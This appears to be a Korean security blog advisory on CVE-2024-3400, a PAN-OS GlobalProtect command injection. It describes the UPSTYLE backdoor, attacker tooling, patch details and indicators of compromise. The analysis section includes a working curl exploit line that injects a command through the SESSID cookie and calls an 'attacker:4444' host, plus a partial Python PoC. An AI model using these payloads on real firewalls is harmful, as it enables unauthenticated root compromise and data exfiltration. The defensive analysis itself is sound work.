1. PAN-OS
- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제
2. 취약점
- Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발생하는 Command Injection Zero-Day 취약점 (CVSS: 10.0)
> 입력값에 대한 유효성 검증 과정이 잘못 구현되어 있거나 누락되어 발생하는 취약점으로 판단됨
> 인증되지 않은 공격자가 방화벽에서 root 권한을 가진 임의 코드를 실행할 수 있음
> 현재 UTA0218 공격 그룹에서 방화벽 공격에 실제 사용하고 있는 취약점
영향받는 버전
- PAN-OS 11.1 ~ 11.1.2-h3 이전 버전
- PAN-OS 11.0 ~ 11.0.4-h1 이전 버전
- PAN-OS 10.2 ~ 10.2.9-h1 이전 버전
2.1 주요내용 [2]
- 보안 업체 Volexity는 NSM(Network Security Monitoring) 고객의 방화벽에서 의심스러운 네트워크 트래픽 경고 확인
> Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발견된 제로데이 취약점을 악용
> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인
> 해당 백도어를 통해 장치에 추가 명령을 실행
UPSTYLE 백도어 | - update[.]py를 사용해 해당 백도어를 유포 > /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포 > 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음 - 동작 과정 ① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송 ② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색 ③ 특정 패턴(명령)을 디코딩 및 실행 ④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성 ⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송 ⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구 ※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음 |
- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드
> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지
> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인
> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취
구분 | 설명 |
patch | - update.cron 파일 존재 여부 확인 > 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정 > policy 파일을 다운로드하고, 60초마다 bash를 통해 실행 - 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성 > C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인 |
policy v1 | - python으로 작성된 on-line 리버스 셸 |
policy v2 | - 공격 명령 실행 결과가 포함된 CSS 파일을 제거 - 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장 > 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장 |
policy v3 | - 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용 |
policy v4 | - GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도 |
policy v5 | - v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드 |
policy v6 | - SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함 |
2.2 취약점 분석 [3]
- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행
> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨
- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장
> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장
> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음
curl hxxps://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'
- 공격자는 2가지 버그를 결합해 취약한 장치에서 명령을 실행 [4]
> 1단계: SESSID에 셸 명령을 포함해 GlobalProtect에 전송하여 명령이 포함된 파일 생성
> 2단계: cron 작업을 통해 공격자가 제공한 명령이 실행
2.3 PoC
- 깃허브에서 등록된 PoC는 404 Error 반환
> 일부 확인되는 PoC에서는 POST 요청의 데이터에 xml 포맷으로 명령어 전달 [5]
def exploit_firewall(target_ip, payload, root_ca=None):
url = f"https://{target_ip}/api/"
data = f"""<?xml version="1.0" encoding="UTF-8"?>
<request>
<op cmd="test" />
<cmd code="ping">{payload}</cmd>
</request>"""
headers = {
"User-Agent": "PAN-OS-Exploit",
"Content-Type": "application/xml"
}
try:
if root_ca:
response = requests.post(url, headers=headers, data=data, timeout=5, verify=root_ca)
else:
response = requests.post(url, headers=headers, data=data, timeout=5, verify=False)
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [6]
> main_isValidSessionId()를 추가하여 SESSID 값을 추출하며 유효한 UUID 값인지 확인
> [사진 4] pansys() 호출시 shell 변수 값을 False로 수정
제품명 | 영향받는 버전 | 해결 버전 |
PAN-OS | 11.1 ~ 11.1.2-h3 이전 | 11.1.2-h3 이상 |
11.0 ~ 11.0.4-h1 이전 | 11.0.4-h1 이상 | |
10.2 ~ 10.2.9-h1 이전 | 10.2.9-h1 이상 |
- 장치 침해 징후 식별
구분 | 설명 |
네트워크 트래픽 모니터링 |
- wget 명령을 이용한 특정 IP, URL에 대한 요청 - GlobalProtect 어플라이언스에서 시작된 내부 여러 시스템에 대한 SMB/RDP 연결 - Chrome 또는 Edge 데이터 또는 ntds[.]dit 파일의 SMB 파일 전송 |
방화벽 로그 분석 | - Palo Alto Networks와 Volexity는 분석을 위한 기술 지원 제공 |
휘발성 메모리 수집 |
- 관련 침해지표 보안 장비 등록 [7][8]
4. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400
[2] https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
[3] https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
[4] https://www.paloaltonetworks.com/blog/2024/04/more-on-the-pan-os-cve/
[5] https://hackyboiz.github.io/2024/04/14/j0ker/2024-04-13/
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71402&menuNo=205020
[9] https://www.boannews.com/media/view.asp?idx=128841&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=128833&page=1&kind=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=155122
'취약점 > Injection' 카테고리의 다른 글
Progress Software OS Command Injection (CVE-2024-7591) (1) | 2024.09.17 |
---|---|
PHP-CGI Argument Injection 취약점 (CVE-2024-4577) (2) | 2024.06.10 |
D-Link NAS 제품군 Command Injection 취약점(CVE-2024-3273) (0) | 2024.04.09 |
MOVEit Transfer SQL Injection 취약점(CVE-2023-35036, CVE-2023-35708) (0) | 2023.06.17 |
MOVEit Transfer SQL Injection 취약점(CVE-2023-34362) (1) | 2023.06.11 |